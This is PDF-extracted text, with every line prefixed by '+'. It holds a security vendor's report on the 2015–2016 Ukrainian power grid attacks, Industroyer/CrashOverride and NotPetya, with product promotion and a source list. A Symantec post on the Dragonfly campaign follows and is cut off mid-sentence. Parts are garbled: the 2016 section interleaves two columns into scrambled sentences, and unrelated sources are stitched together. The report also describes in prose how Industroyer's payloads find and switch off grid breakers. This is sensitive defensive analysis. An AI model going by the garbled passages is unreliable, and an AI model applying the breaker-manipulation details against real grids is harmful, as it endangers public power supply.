+team was on site 30 minutes after the
+outage.
+The faulty component was the automation
+control systems piloting a substation in
+a village near the Kiev city. Automation
+systems in such substations control how
+power coming from power plants at high
+voltage is transformed to lower voltage for
+consumer and industrial use.
+The main website of the power grid had
+been unreachable for a couple of days
+during and after the attack. The head of
+Ukrenergo had to publish a quick statement
+on Facebook (provided in the appendix).
+When the situation had been recovered, the
+company published an official statement
+available on their website.
+It states 
+Among the possible causes
+of failure are considered hacking and
+equipment malfunction (crashes). Timely
+police were involved and conducted a
+thorough investigation into the accident,
+which will be to inform the public. By the
+end of the official investigation into the
+case management of all objects SE 
+Ukrenergo with automatic control system
+was transferred to the local level.
+In the middle of January Ukrenergo
+confirmed that the source cause of this
+power outage was malicious. The authors
+are still undetermined.
+accounts, and determine the penetration
+point while tracing computers potentially
+infected with malware in sleep mode.
+So far, no huge technical details related to
+the attack have been released publically.
+Indeed Marina Krotofil from Honeywell and
+Oleskii Yasinskiy from ISSP shared some
+information confirming the attack without
+going further concerning technical details
+related to this attack.
+According to CyberX, a targeted malware
+campaign called BugDrop could have
+been performed in the reconnaissance
+phase. Indeed, the goal was to retrieve a
+Based on an article from Reuters, maximum amount of information regarding
+Ukrenergo said in comments emailed to the final target which was the power grid.
+Reuters: 
+Preliminary findings indicate that The complexity of the malware was quite
+workstations and Supervisory Control and impressive. Once the target was infected
+Data Acquisition (SCADA) systems, linked through a targeted phishing campaign and
+to the 330 kilowatt sub-station "North", the malware deployed, it retrieved a lot
+were influenced by external sources outside of information from the network and also
+normal parameters. [...] The analysis of the screenshots, documents, passwords and
+impact of symptoms on the initial data of audio recordings using the microphone.
+these systems indicates a premeditated and For each infected target, the data was
+encrypted with Blowfish using a 
+user-ID
+multilevel invasion
+Law enforcement officials and cyber experts The exfiltration was performed through
+are still working to compile a chronology Dropbox services. The assumption linking
+of events, draw up a list of compromised this malware and the attack is detailed in
+the claims section below.
+FACTS & REPORTS
+THE 12TH OF JUNE 2017, RESEARCHER ANTON CHEREPANOV FROM ESET PUBLISHED A COMPREHENSIVE
+TECHNICAL REPORT REGARDING THE MALWARE CALLED INDUSTROYER. DRAGOS HAS ALSO PROVIDED
+AN IN - DEPTH ANALYSIS UNDER THE NAME OF CRASHOVERRIDE.
+THIS MALWARE IS PROBABLY LINKED TO THE DECEMBER 2016 UKRAINE AT TACK. INDEED, THIS MALWARE HAS
+BEEN DESIGNED TO DISRUPT THE WORKING PROCESS OF INDUSTRIAL CONTROL SYSTEMS
+USED IN ELECTRICAL SUBSTATIONS.
+INDUSTROYER / CRASHOVERRIDE is the
+first OT malware designed specifically to
+attack electric grids.
+This malware supports four differents
+industrial protocols:
+IEC 60870-5-101 (aka IEC 101)
+IEC 60870-5-104 (aka IEC 104)
+IEC 61850
+OLE for Process Control Data Access
+(OPC DA)
+It is obvious that since the first 2015 attack
+(using Blackenergy and Killdisk) and this
+malware, there is a huge gap and attackers
+have improved their capacities. The
+malware is now able to control switches
+and breakers. ESET have seen indications
+that this malware could have been the tool
+used by attackers to cause the power outage
+in December 2016. The infection vector
+remains unknown but the investigation is
+still ongoing.
+INSTALLS
+MAIN BACKDOOR
+Before going deeper into the malware, let
+have a look at embedded components. As we
+can see in the schematic below, the malware
+embeds:
+Two backdoors (C&C through HTTPS)
+A launcher
+A wiper
+Four differents payloads corresponding
+to four different industrial protocols
+ADDITIONAL BACKDOOR
+CONTROLS
+ADDITIONAL TOOLS
+INSTALLS
+LAUNCHER
+EXECUTES
+DATA WIPER
+EXECUTES
+101 PAYLOAD
+104 PAYLOAD
+Source ESET: Simplified schematic of Win32 / Industroyer components
+61850
+PAYLOAD
+OPC DA
+PAYLOAD
+Regarding the C&C it is interesting to note that a local
+proxy configuration has been hardcoded in the malware.
+The local proxy is the way to access the Internet from the
+local network. This configuration is adapted to the local
+network. The fact that the local proxy has been hardcoded
+in the malware, means having technical knowledge about
+the target. Due to this, we can conclude that it was a
+targeted attack. In addition, without proper modification of
+the malware, it cannot be used on another target.
+Another interesting thing is the way the malware deploys
+the backdoor to the victim to be able to spawn a shell,
+download a file and execute a program. At the beginning,
+when the backdoor is executed on the victim, it stays in
+RAM and starts communicating with the C&C. At this
+moment, through the C&C, information related to the victim
+is exfiltrated and analyzed to find vulnerabilities on the
+targeted system. Once found, the exploit is sent through
+the backdoor (still in ram) to perform a privilege escalation.
+And now the fun part begins:
+ n initial persistent backdoor (the main) is deployed to
+replace a non-critical Windows service.
+ second persistent backdoor (the backup) is installed
+through a malicious Microsoft Notepad on the victim.
+Each time the Notepad is used the backdoor is also
+executed.
+IEC 101 PAYLOAD COMPONENT
+IEC 104 PAYLOAD COMPONENT
+The payload uses the IEC101 protocol (IEC 60870-5-101)
+which is used for communications between industrial
+control systems and remote terminal units. If the target
+machine communicates with a RTU using IEC101, the
+IEC101 payload is used. It parses a configuration file
+created by the hacker to determine the process
+s target,
+it kills it and opens COM ports to communicate with
+the RTU and also to prevent the original process from
+communicating with the RTU. Once the communication
+has been established, the malware sends IEC101 C_SC_
+NA_1 and C_DC_NA_1 packets to switch off the RTU at
+the specified Information Object Address (IOA).
+This payload uses the IEC104 protocol (IEC 60870-5-104)
+which is used to send IEC101 on a TCP/IP network. Similar
+to the IEC101 payload, the DLL reads a configuration file
+containing information regarding the target including
+the IP address, the port, the ADSU (Application Service
+Data Unit) and the operation. The goal of this payload
+is to connect to a specified IP address and send packets
+with the ASDU address to interact with the IOA to switch
+it off. The OT impact is quite important. By using this
+payload, the malware is able to communicate on the OT
+network using the IEC104 protocol and to send orders to
+breakers. At the same time, the malware is also able to
+communicate on the IT network to receive orders from
+the C&C servers located outside of the target.
+IEC 61850 PAYLOAD COMPONENT
+This payload uses the IEC 61850 standard. This
+standard describes a protocol used for multi-vendor
+communication among devices that perform protection,
+automation, metering, monitoring, and control of
+electrical substation automation systems. The 61850
+payload uses only a small subset of the protocol to
+produce its disruptive effect. The payload looks for a
+configuration file defining targets and commands as seen
+previously. If the payload does not find the file, it starts to
+scan the network for TCP port 102 (used by IEC 61850).
+Once found, the payload sends a connection request
+packet using the COTP protocol. If successful, it sends a
+InitiateRequest and a getNameList request to compile
+a list of targets, variables and contents. Afterwards, the
+payload parses received data for variables that contain
+the strings CSW (corresponds to logical nodes used to
+control circuit breakers and switches). For each of them
+it will try a read and a write order to change the position
+of the breaker.
+OPC DA PAYLOAD COMPONENT
+This last payload implements a client for the OPC Data
+Access protocol. Once executed, the payload enumerates
+all OPC servers and OPC items and the server. In the
+payload source code, we can see that it is looking for
+specific strings in OPC item names (ctlSelOn, ctlOperOn...).
+These names may suggest an interest in ABB solutions
+such as the MicroSCADA range. For each of the found
+OPC items, the payload changes its states.
+ON JUNE 27 TH , THE UKRAINIAN RADIO HOLOS STOLYTSY WERE
+ABLE TO CONTINUE THE RADIO DIFFUSION USING
+AN ANALOG RADIO EMETOR: THEIR MAIN SERVER
+WAS INFECTED BY A MALWARE... NOTPETYA WAS BORN
+Still in 2017, another massive attack has been performed against ukrainian critical infrastructure. Although the payload did not include
+exploits targeting industrial systems, it did significantly impact manufacturing plants, as well in Ukraine as world-wide, with 6-figure losses
+at several european corporations.
+What happened: on June 27th, the main server of the Ukrainian radio Holos Stolytsy was infected by a malware. The radio was only able to
+continue the diffusion using an analog radio emetor. This was 
+NotPetya
+s first strike! Soon after this first detection, other infections were
+quickly detected around the world. But NotPetya is not Petya: let
+s not mix the original 2016 Petya ransomware and the one we are talking
+about, which is not a ransomware, and therefore was named 
+NotPetya
+Basically, a ransomware is a malware that prevents file usage (e.g. using encryption) and requests a ransom to decrypt them. Petya is a
+ransomware published in March 2016. The one which started in June 27th is quite different although based on the ransomware Petya.
+The main difference is the fact that it is not a ransomware. Once NotPetya is executed on a platform, it encrypts the whole hard drive but
+does not exfiltrate or embed a method to decrypt stored data. It means that NotPetya
+s authors were not interested in money.
+NotPetya embeds an effective infection method using the same exploits that Wannacry uses, targetting Windows SMB. Unlike Wannacry,
+NotPetya tries to exploit remote machines located on the same local network. But the main point is NotPetya has functionalities to
+retrieve and exfiltrate passwords and some remote administration functionalities.
+We can directly conclude that NotPetya was not designed to make money or to control a BotNet but instead to infect a precise target. The
+initial infection vector came from a malicious update of the Ukrainian countability software M.E.Doc. Indeed, hackers took the control of a
+M.E.Doc
+s server update and infected an update with NotPetya.
+This Ukrainian radio was not an isolated case. In fact, lots of Ukrainian institutions and companies have also been infected and, since
+NotPetya continued to spread itself through SMB, the infection rate was quite high. Several French companies, like Saint Gobain, have also
+been infected. As for previous attacks using the same vulnerability (Wannacry for instance), industrial systems were impacted, because of
+either direct network connections between IT and OT domains, or laptops or other equipments connected to both domains.
+Determining the goal or attributing the malware to a country is quite hard. Russian Rosneft also has been impacted. The Ukrainian
+Cyber Police officially confirmed that M.E.Doc servers were backdoored on three different occasions. The total losses, due to the alleged
+negligence of Intellect-Service, might be in the range of $1bn considering that St Gobain alone has declared a loss of $250M in revenue.
+2015 INCIDENT
+Ukraine's
+state security service SBU has
+blamed Russia but the nation's energy
+ministry said it would hold off on
+attribution until after it finishes a formal
+probe.
+ press statement on the SBU website
+alleged the discovery of malicious
+software responsible for these outages on
+the networks of regional power companies.
+According to the SBU press statement,
+the cyberattack was accompanied by a
+barrage of phone calls to their technical
+support telephone numbers which would
+have acted like a denial of service (DoS)
+attack.
+U.S. cyber intelligence firm iSight
+Partners said it has determined that
+a Russian hacking group known as
+Sandworm caused this unprecedented
+power outage in Ukraine. Many other
+US based companies are pointing to
+Sandworm as the 
+hacking
+ unit.
+Some
+press organizations are claiming
+this is the first known Grid hack. They
+should remember, even unconfirmed, that
+the 2003 blackout in the US east coast
+may have been caused by a cyberattack.
+Also, the FBI has already claimed that
+Daesh has tried unsuccessfully to hack
+the national US power grid.
+According
+to the SANS ICS blog, the
+attack was a coordinated effort which
+targeted several power sub-companies
+and included a flooding attack on their
+phone support systems to prevent
+legitimate customers from reporting a
+power cut which would alert the on-call
+personnel to the problem. According to
+the same source (unconfirmed), the staff
+in the affected companies acted quickly
+to bypass the SCADA systems and run
+everything in manual mode by acting on
+the main breakers which restored service
+in under 6 hours. This would not have been
+possible in a modern grid installation
+which relies heavily on automation and
+t be run in 
+manual mode
+ Ukrainian telecoms engineer has raised
+doubts about the widely reported link
+between BlackEnergy attacks and power
+outages in his country. Named Illia Illin,
+per 
+The Register
+ article, he claims 
+First
+of all, there weren't any blackouts in
+Boryspil (KBP)
+ investigation team led by US
+government officials has released a
+report as part of the ICS-CERT initiative
+(see sources section). This report remains
+vague about the exact insertion methods
+and attacker techniques and focuses
+on proactive defenses that would have
+prevented the attack. Also, in the current
+political context, it
+s hard to imagine that
+interviews of Ukrainian operators by US
+government officials would be 100%
+factual and accurate.
+SANS
+ICS has released a new detailed
+report which summarizes the information
+collected by the investigation team
+(see sources for 
+DUC5
+). The report
+uses the Cyber Kill Chain framework to
+characterize the different phases of the
+attack. However, many technical details
+remain vague (especially concerning
+attacker reconnaissance and remote
+control by VPN). An analysis of the alleged
+malware used is provided. The RAT tool
+used by the attacker is not mentioned.
+2016 INCIDENT
+Several assumptions have been released
+since this second outage. For the time being,
+technical details regarding the attack have
+not been published. The only 
+technical
+finding is the threat vector. Indeed, the
+SCADA stations had been compromised by
+an external source. Marina Krotofil, lead
+cyber-security researcher at Honeywell who
+assisted in the investigation, declared 
+It was
+an intentional cyber incident not meant to be
+on a large scale... they actually attacked more
+but couldn
+t achieve all their goals
+. Also from
+Marina Krotofil, 
+hackers are thought to have
+hidden in Ukrenergo
+s IT network undetected
+for six months, acquiring privileges to access
+systems and figure out their workings, before
+taking methodical steps to take the power
+offline
+. So far, we have no information
+confirming that the techniques used are the
+same or not.
+According to CyberX, the malware used
+during the BugDrop operation detailed in the
+facts section could have been used during
+the reconnaissance phase. Indeed, the
+compilation date and some targets may lead
+to this conclusion. The malware was compiled
+several times between June 2016 and end of
+October 2016. Concerning identified targets
+here is the list:
+A company that designs remote
+monitoring systems for oil & gas
+pipeline infrastructures.
+An international organization that
+monitors human rights, counter-terrorism
+and cyberattacks on critical infrastructure
+in the Ukraine.
+An engineering company that designs
+electrical substations, gas distribution
+pipelines, and water supply plants.
+A scientific research institute.
+Editors of Ukrainian newspapers.
+The assumption linking this malware and
+the attack is based on these targets mainly
+located in Ukraine and linked to energy but
+also due to techniques used like the reflective
+DLL injection (loading malicious code without
+calling the normal Windows API calls) which
+was used during the first attack. Another hint
+comes from the compilation time.
+SENTRYO ICS CYBERVISION OFFERS AN OT MONITORING SOLUTION THAT
+PROVIDES AN OPERATIONAL CAPACITY TO PREVENT, DETECT
+AND RESPOND TO CYBERAT TACKS.
+ICS CyberVision continuously listen communications between
+devices on the OT network and extract meaningful data. Those
+data are then used to create a behavorial 
+template
+ of the OT
+network which is then used as a white list to detect anomalies.
+ICS CyberVision use IA algorithms to caracterise and prioritize
+those anomalies in order to eliminate false positive and facilitate
+the remediation process. In addition scripts from Sentryo Security
+Labs are provided to ICS CyberVision users. These scripts use the
+CyberVision Center API to mine their CyberVision installations to
+check for some Indicators of Compromise (IOC).
+In the case of organization is in the energy sector and may have
+been targeted by this new Black Energy campaign or the latest
+Grizzly Steppe (see the DHS report), we strongly encourage them
+to run these scripts and check their ICS.
+Moreover, if ICS CyberVision had been deployed inside the process
+and control networks of an Energy corporation, it would have
+detected several weak signals enabling the local team to stop the
+attacks early:
+Regarding
+Black Energy, ICS CyberVision would have detected
+unknown connections to a remote Internet website (the C&C
+channels). These connections would have been seen as a change
+compared to the baseline (a set of given network behaviors)
+defined by plant operators.
+Regarding
+Industroyer/CrashOverride, ICS CyberVision would
+have detected any new connections to a remote Internet website
+(the C&C channels), and also new and strange behaviours on
+the OT networks like multiple OT network scans and critical OT
+communications like orders.
+Regarding
+the Disakil 
+wiper
+, ICS CyberVision would have
+detected the disappearance of TCP connections between the
+SCADA stations and the PLCs / RTUs. The defined baseline
+includes these connections and the fact that they stopped being
+active would have automatically been detected as a change by
+the difference engine.
+Regarding
+the breaker manipulation, ICS CyberVision would have
+analysed IEC 101 (serial over ethernet) flows and detected the
+order to open up the breaker and to switch off power. CyberVision
+would help to trace down the hackers to particular infected
+machines.
+Regarding
+the Siemens safety equipment DoS vulnerability
+used by Industroyer (CVE-2015-5374), it will be detected by ICS
+Cybervision thanks to its Knowledge Database. Back in 2015,
+Siemens provided a firmware update fixing this issue. It is even
+more important today to patch these equipments. Our solution
+can help by clearly identifying the potentially affected devices
+in the network.
+The only vector which would have remained undetected by ICS
+CyberVision is the 
+dropper
+ i.e. an Excel spreadsheet or Word
+document in later case. It is the responsibility of an email gateway
+or an endpoint protection software to detect such attack vectors.
+The malware could also have been inserted via a malicious USB
+drive and only endpoint protection software can prevent these
+attacks.
+Since Stuxnet, the malware Industroyer / CrashOverride is the first
+advanced and targeted industrial malware we have seen with this
+level of maturity. From a defense point of view, this malware also
+shows the need for an ICS network security monitoring capability
+to be able to detect these advanced attacks early in the kill chain.
+s have look at the kill chain and the malware impact. This is important because investigations are still ongoing and some information
+may have not been communicated. Because of this, Phase 1 and part of the Phase 2 are pure assumptions using our experience and
+external claims:
+PHASE 1
+PREPARATION
+1. RECONNAISSANCE 
+harvesting for email; industrial protocol used and target proxy configuration
+2. WEAPONIZATION 
+development of the malware including the dropper, industrial payloads, the backdoor,
+the wiper and the C&C server
+PHASE 2
+INTRUSION
+3. DELIVERY 
+probably an email with a link or an attachment to the dropper
+4. EXPLOITATION 
+find and exploit a vulnerability on the victim
+s computer to be able to install the malware
+5. INSTALLATION 
+install the malware as a non-critical Windows service program and install a new malicious
+Microsoft Notepad program
+PHASE 3
+ACTIVE BREACH
+6. COMMAND & CONTROL ( C&C OR C2) 
+communicate regularly with the C&C
+(the active period can be configured)
+7. ACTIONS AND OBJECTIVES 
+scan the network using embedded payloads and configuration files dropped
+by the C&C; detect any breaker; turn it off and use the wiper.
+BY VYTAUTAS BUTRIMAS - SUBJECT MAT TER EXPERT,
+RESEARCH AND LESSONS LEARNED DIVISION, NATO ENERGY
+SECURITY CENTER OF EXCELLENCE 2
+Today
+s cyber attacker is several steps
+ahead of the defender. This is especially
+so in the case of a single operator trying
+to defend against a state resourced APT
+attacker. This is an unfair match, similar
+to a high-school soccer team
+s chances
+of defeating a FIFA World Cup contender.
+It is no contest unless the school team
+capabilities are significantly enhanced. It
+is important to realize that the operatordefender has a complex task of managing
+and protecting increasingly interconnected
+and sophisticated systems enabled with
+the latest advances in information and
+communications technologies (ITC).
+Technologies that in addition to providing
+new features and possibilities for remote
+management and control also introduce
+vulnerabilities for an adversary to exploit.
+The operator now faces a difficult challenge
+in managing systems that are vulnerable to
+not only intentional but also unintentional
+cyber incidents. Incidents that result from
+errors in managing interconnected and
+complex systems. The attacker needs only
+to find a single weakness in the design or
+exposed vulnerability in order to defeat all
+the wide-ranging efforts of the defender.
+In order for the operator of critical
+infrastructure to avoid becoming an isolated
+target for an adversary that often is several
+steps ahead of the defender he must improve
+his relationship among operators of critical
+infrastructure, manufacturers, academia and
+Government institutions responsible for
+cybersecurity. The aim should be in setting
+up a mechanism that will facilitate the
+timely sharing of information on cyber
+threats, coordinating a response to an
+incident and sharing lessons learned.
+At the local level, National cybersecurity
+councils that represent the communities
+of interest (CoI) should be created as a first
+step in setting up a national cybersecurity
+capacity for protecting critical infrastructure
+from these advanced and persistent threats
+from cyberspace.
+of the problem. In addition to the high level
+National council a working level network
+for timely sharing of threat information
+and lessons learned should be created
+for dealing with immediate issues and
+facilitating coordinated effective response
+in times of emergency. In summary it is
+only through cooperation and sharing of
+information among a community of interest
+that an operator-defender can hope to
+deal with today's advanced and persistent
+threats emanating from cyberspace.
+This is not an easy task since fear of
+lawsuits, embarrassment and concerns for
+confidentiality often make operators as
+well as manufacturers of control equipment
+reluctant to share the information needed
+to enhance resilience and enhance recovery
+capabilities. This lack of sharing can only
+contribute to making defenders more
+isolated and less aware of the significance
+The views expressed by V. Butrimas are for NATO, NATO member countries, NATO partners, related private and public institutions and related individuals. These views
+do not represent the opinions or policies of NATO or NATO ENSEC COE or any other institution. The views presented in the articles are those of the authors alone.
+THIS CASE DEMONSTRATES
+THAT IS VERY HARD TO:
+COLLECT ENOUGH DATA TO HAVE A DEEP TECHNICAL
+UNDERSTANDING OF THE HACKERS TECHNIQUES AND
+TACTICS,
+ESTABLISH THE IDENTITY OF THE DIFFERENT
+ACTORS,
+KNOW IF THE CYBERAT TACK WAS SPECIFICALLY
+BUILT TO IMPACT ONLY THIS INDUSTRIAL FACILITY,
+MAKING THE DIFFERENCE BETWEEN FACTS AND
+CLAIMS.
+The case also demonstrates the absolute need for a monitoring
+capability on such ICS systems. Indeed, this kind of attack is quite
+hard to avoid when your IT network has been infected. Nevertheless,
+with adapted tools, hints of attack and / or compromission on the
+industrial network can be detected in order to prevent and / or
+mitigate the attack as soon as possible.
+Everyone reading cybersecurity reports must keep in mind that
+Ukraine is at war with Russia. This tense international context
+probably explains the large number of different 
+statements
+made by the Ukrainian and Russian governments.
+In any case, this cyberattack should not be seen as a new Stuxnet.
+Black Energy is a quite old malware. No zero-day (i.e. unknown
+attack vector) was used. The destruction payloads, even if they
+are very impactful, are quite trivial without a fine-grained PLC
+reprogrammation. This attack underlines the extreme weakness
+of OT components which were never designed with maliciousness
+in mind.
+As always, the Sentryo security team is deeply involved in the
+identification and analysis of the latest industrial threat vectors. We
+will follow the ongoing investigation related to the Ukraine attack.
+FROM THE FOREWORD
+Critical Infrastructure: 
+refers to assets of physical
+and computer-based systems that are essential to the
+minimum operations of an economy and its government.
+They include
+ telecommunications, energy, banking and
+finance, transportation, water systems and emergency
+services, both government and private.
+http://www.infracritical.com/?page_id=73
+Langner, R., To Kill a Centrifuge,
+http://www.langner.com/en/wp-content/uploads/2013/11/
+To- kill-a-centrifuge.pdf
+Rashid, F., Inside The Aftermath Of The Saudi Aramco
+Breach, Dark Reading, 8/8/2015
+http://www.darkreading.com/attacks-breaches/inside-theaftermath-of-the- saudi-aramco-breach/d/d-id/1321676
+Alert (ICS-ALERT-14-281-01E) Ongoing Sophisticated
+Malware Campaign Compromising ICS (Update E) US
+ICS-CERT
+https://ics-cert.us- cert.gov/alerts/ICS-ALERT- 14-281- 01B
+Original release date: December 10, 2014
+http://www.welivesecurity.com/2016/01/20/new-waveattacks-ukrainian-power-industry/
+https://securelist.com/blog/research/73440/blackenergyapt-attacks-in-ukraine-employ-spearphishing-with-worddocuments/
+https://www.sentinelone.com/wp-content/
+uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf
+https://ics.sans.org/blog/2016/01/09/confirmation-of-acoordinated-attack-on-the-ukrainian-power-grid
+https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01
+https://ics.sans.org/duc5
+http://www.reuters.com/article/us-ukraine-cyber-attackenergy-idUSKBN1521BA
+https://motherboard.vice.com/en_us/article/there-willalways-be-internet-outages-so-buckle-up
+https://www.youtube.com/watch?v=lTwsDLO3C44
+Sandworm and SCADA, Trend Micro
+http://blog.trendmicro.com/sandworm-and-scada/ October
+16, 2014
+https://motherboard.vice.com/en_us/article/who-hackedthe-lights-in-ukraine
+The State of IT Security in Germany 2014, Federal IT
+Department (BSI) Germany. p. 31.
+https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/
+Publications/Securitysituation/IT-Security-Situation-inGermany- 2014.pdf?__blob=publicationFile&amp;v=3
+CLAIMS
+FIRST INCIDENT REPORTS
+http://www.oe.if.ua/showarticle.php?id=3413
+http://briz.if.ua/33432.htm
+SECOND INCIDENT REPORTS
+http://www.ukrenergo.energy.gov.ua/pages/en/detailsnew.
+aspx?nid=3387
+http://www.theregister.co.uk/2016/01/27/ukraine_
+blackenergy_analysis/
+https://cyberx-labs.com/en/blog/operation-bugdropcyberx-discovers-large-scale-cyber-reconnaissanceoperation/
+http://in.reuters.com/article/ukraine-crisis-cyber-attacksidINKBN1491QI
+http://cert.gov.ua/?p=2464
+GCAT C&C CONTROL USING GMAIL
+http://www.reuters.com/article/us-ukraine-cyber-attackenergy-idUSKBN1521BA
+https://github.com/byt3bl33d3r/gcat
+INTECH / ISA ANALYSIS
+NATO CCD COA
+InTech, March/April 2017 issue, special section
+Cybersecurity
+, a publication of the International
+Society of Automation
+wwww.isa.org/intech
+https://ccdcoe.org/multimedia/cyber-war-perspectiverussian-aggression-against-ukraine.html
+DETAILED ANALYSIS
+https://www.us-cert.gov/sites/default/files/publications/
+JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf
+http://www.welivesecurity.com/2016/01/03/blackenergysshbeardoor-details-2015-attacks-ukrainian-news-mediaelectric-industry/
+http://www.symantec.com/connect/blogs/destructivedisakil-malware-linked-ukraine-power-outages-also-usedagainst-media-organizations
+GRIZZLY STEPPE DHS
+BLACKHAT 2016 TALK
+Author: Geers 
+Cyber War In Perspective Analysis From The
+Crisis In Ukraine
+Marina Krotofil at s4x17 Miam introducing the attack and the
+talk from Oleskii Yasinskiy:
+https://www.youtube.com/watch?v=lTwsDLO3C44
+Oleskii Yasinskiy from http://www.issp.ua/
+https://www.youtube.com/watch?v=3uPvps3l1Yc
+VSEVOLOD KOVALCHUK
+S FACEBOOK
+STATEMENT FOLLOWING THE SECOND
+ATTACK
+ICS-CERT ALERT (TA17-163A)
+CRASHOVERRIDE MALWARE
+https://www.us-cert.gov/ncas/alerts/TA17-163A
+THE COMPLETE ESET REPORT
+https://www.welivesecurity.com/2017/06/12/industroyerbiggest-threat-industrial-control-systems-since-stuxnet/
+THE DRAGOS REPORT
+https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
+Other sources are confidential.
+66 Boulevard Niels Bohr
+timent CEI 1 CS 52132
+69603 Cedex, Villeurbanne
+09 70 75 34 80
+www.sentryo.net
+@sentryo
+Dragonfly: Western energy sector targeted by sophisticated
+attack group
+symantec.com /connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
+9/5/2017
+The energy sector in Europe and North America is being targeted by a new wave of cyber attacks that could provide
+attackers with the means to severely disrupt affected operations. The group behind these attacks is known as
+Dragonfly. The group has been in operation since at least 2011 but has re-emerged over the past two years from a
+quiet period following exposure by Symantec and a number of other researchers in 2014. This 
+Dragonfly 2.0
+campaign, which appears to have begun in late 2015, shares tactics and tools used in earlier campaigns by the
+group.
+The energy sector has become an area of increased interest to cyber attackers over the past two years. Most
+notably, disruptions to Ukraine
+s power system in 2015 and 2016 were attributed to a cyber attack and led to power
+outages affecting hundreds of thousands of people. In recent months, there have also been media reports of
+attempted attacks on the electricity grids in some European countries, as well as reports of companies that manage
+nuclear facilities in the U.S. being compromised by hackers.
+The Dragonfly group appears to be interested in both learning how energy facilities operate and also gaining access
+to operational systems themselves, to the extent that the group now potentially has the ability to sabotage or gain
+control of these systems should it decide to do so. Symantec customers are protected against the activities of the
+Dragonfly group.
+Figure 1. An outline of the Dragonfly group's activities in its most recent campaign
+Dragonfly 2.0
+Symantec has evidence indicating that the Dragonfly 2.0 campaign has been underway since at least December
+2015 and has identified a distinct increase in activity in 2017.
+Symantec has strong indications of attacker activity in organizations in the U.S., Turkey, and Switzerland, with
+traces of activity in organizations outside of these countries. The U.S. and Turkey were also among the countries
+targeted by Dragonfly in its earlier campaign, though the focus on organizations in Turkey does appear to have
+increased dramatically in this more recent campaign.
+As it did in its prior campaign between 2011 and 2014, Dragonfly 2.0 uses a variety of infection vectors in an effort to
+gain access to a victim
+s network, including malicious emails, watering hole attacks, and Trojanized software.
+The earliest activity identified by Symantec in this renewed campaign was a malicious email campaign that sent
+emails disguised as an invitation to a New Year
+s Eve party to targets in the energy sector in December 2015.
+The group conducted further targeted malicious email campaigns during 2016 and into 2017. The emails contained
+very specific content related to the energy sector, as well as some related to general business concerns. Once
+opened, the attached malicious document would attempt to leak victims
+ network credentials to a server outside of
+the targeted organization.
+In July, Cisco blogged about email-based attacks targeting the energy sector using a toolkit called Phishery. Some
+of the emails sent in 2017 that were observed by Symantec were also using the Phishery toolkit (Trojan.Phisherly),
+to steal victims
+ credentials via a template injection attack. This toolkit became generally available on GitHub in late
+2016,
+As well as sending malicious emails, the attackers also used watering hole attacks to harvest network credentials,
+by compromising websites that were likely to be visited by those involved in the energy sector.
+The stolen credentials were then used in follow-up attacks against the target organizations. In one instance, after a
+victim visited one of the compromised servers, Backdoor.Goodor was installed on their machine via PowerShell 11
+days later. Backdoor.Goodor provides the attackers with remote access to the victim
+s machine.
+In 2014, Symantec observed the Dragonfly group compromise legitimate software in order to deliver malware to
+victims, a practice also employed in the earlier 2011 campaigns. In the 2016 and 2017 campaigns the group is using
+the evasion framework Shellter in order to develop Trojanized applications. In particular, Backdoor.Dorshel was
+delivered as a trojanized version of standard Windows applications.
+Symantec also has evidence to suggest that files masquerading as Flash updates may be used to install malicious
+backdoors onto target networks
+perhaps by using social engineering to convince a victim they needed to download
+an update for their Flash player. Shortly after visiting specific URLs, a file named 
+install_flash_player.exe
+ was seen
+on victim computers, followed shortly by the Trojan.Karagany.B backdoor.
+Typically, the attackers will install one or two backdoors onto victim computers to give them remote access and allow
+them to install additional tools if necessary. Goodor, Karagany.B, and Dorshel are examples of backdoors used,
+along with Trojan.Heriplor.
+Western energy sector at risk from ongoing cyber attacks, with potential for sabotage #dragonfly
+Strong links with earlier campaigns
+There are a number of indicators linking recent activity with earlier Dragonfly campaigns. In particular, the Heriplor
+and Karagany Trojans used in Dragonfly 2.0 were both also used in the earlier Dragonfly campaigns between 2011
+and 2014.
+Trojan.Heriplor is a backdoor that appears to be exclusively used by Dragonfly, and is one of the strongest
+indications that the group that targeted the western energy sector between 2011 and 2014 is the same group that is
+behind the more recent attacks. This custom malware is not available on the black market, and has not been
+observed being used by any other known attack groups. It has only ever been seen being used in attacks against
+targets in the energy sector.
+Trojan.Karagany.B is an evolution of Trojan.Karagany, which was previously used by Dragonfly, and there are
+similarities in the commands, encryption, and code routines used by the two Trojans. Trojan.Karagny.B doesn
+appear to be widely available, and has been consistently observed being used in attacks against the energy sector.
+However, the earlier Trojan.Karagany was leaked on underground markets, so its use by Dragonfly is not
+necessarily exclusive.
+Feature
+Dragonfly (2013-2014) Dragonfly 2.0 (2015-2017) Link strength
+Backdoor.Oldrea
+None
+Trojan.Heriplor (Oldrea stage II)
+Strong
+Trojan.Karagany
+Yes (Trojan.Karagany.B)
+Medium-Strong
+Trojan.Listrix (Karagany stage II)
+Medium-Strong
+Western
+ energy sector targeted Yes
+Medium
+Strategic website compromises
+Weak
+Phishing emails
+Weak
+Trojanized applications
+Weak
+Figure 2. Links between current and earlier Dragonfly cyber attack campaigns
+Potential for sabotage
+Sabotage attacks are typically preceded by an intelligence-gathering phase where attackers collect information
+about target networks and systems and acquire credentials that will be used in later campaigns. The most notable
+examples of this are Stuxnet and Shamoon, where previously stolen credentials were subsequently used to
+administer their destructive payloads.
+The original Dragonfly campaigns now appear to have been a more exploratory phase where the attackers were
+simply trying to gain access to the networks of targeted organizations. The Dragonfly 2.0 campaigns show how the
+attackers may be entering into a new phase, with recent campaigns potentially providing them with access to
+operational systems, access that could be used for more disruptive purposes in future.
+The most concerning evidence of this is in their use of screen captures. In one particular instance the attackers used
+a clear format for naming the screen capture files, [machine description and location].[organization name]. The
+string 
+cntrl
+ (control) is used in many of the machine descriptions, possibly indicating that these machines have
+access to operational systems.
+Numerous organizations breached in six-year campaign against the energy sector #dragonfly
+Clues or false flags?
+While Symantec cannot definitively determine Dragonfly
+s origins, this is clearly an accomplished attack group. It is
+capable of compromising targeted organizations through a variety of methods; can steal credentials to traverse
+targeted networks; and has a range of malware tools available to it, some of which appear to have been custom
+developed. Dragonfly is a highly focused group, carrying out targeted attacks on energy sector targets since at least
+2011, with a renewed ramping up of activity observed in the last year.
+Some of the group
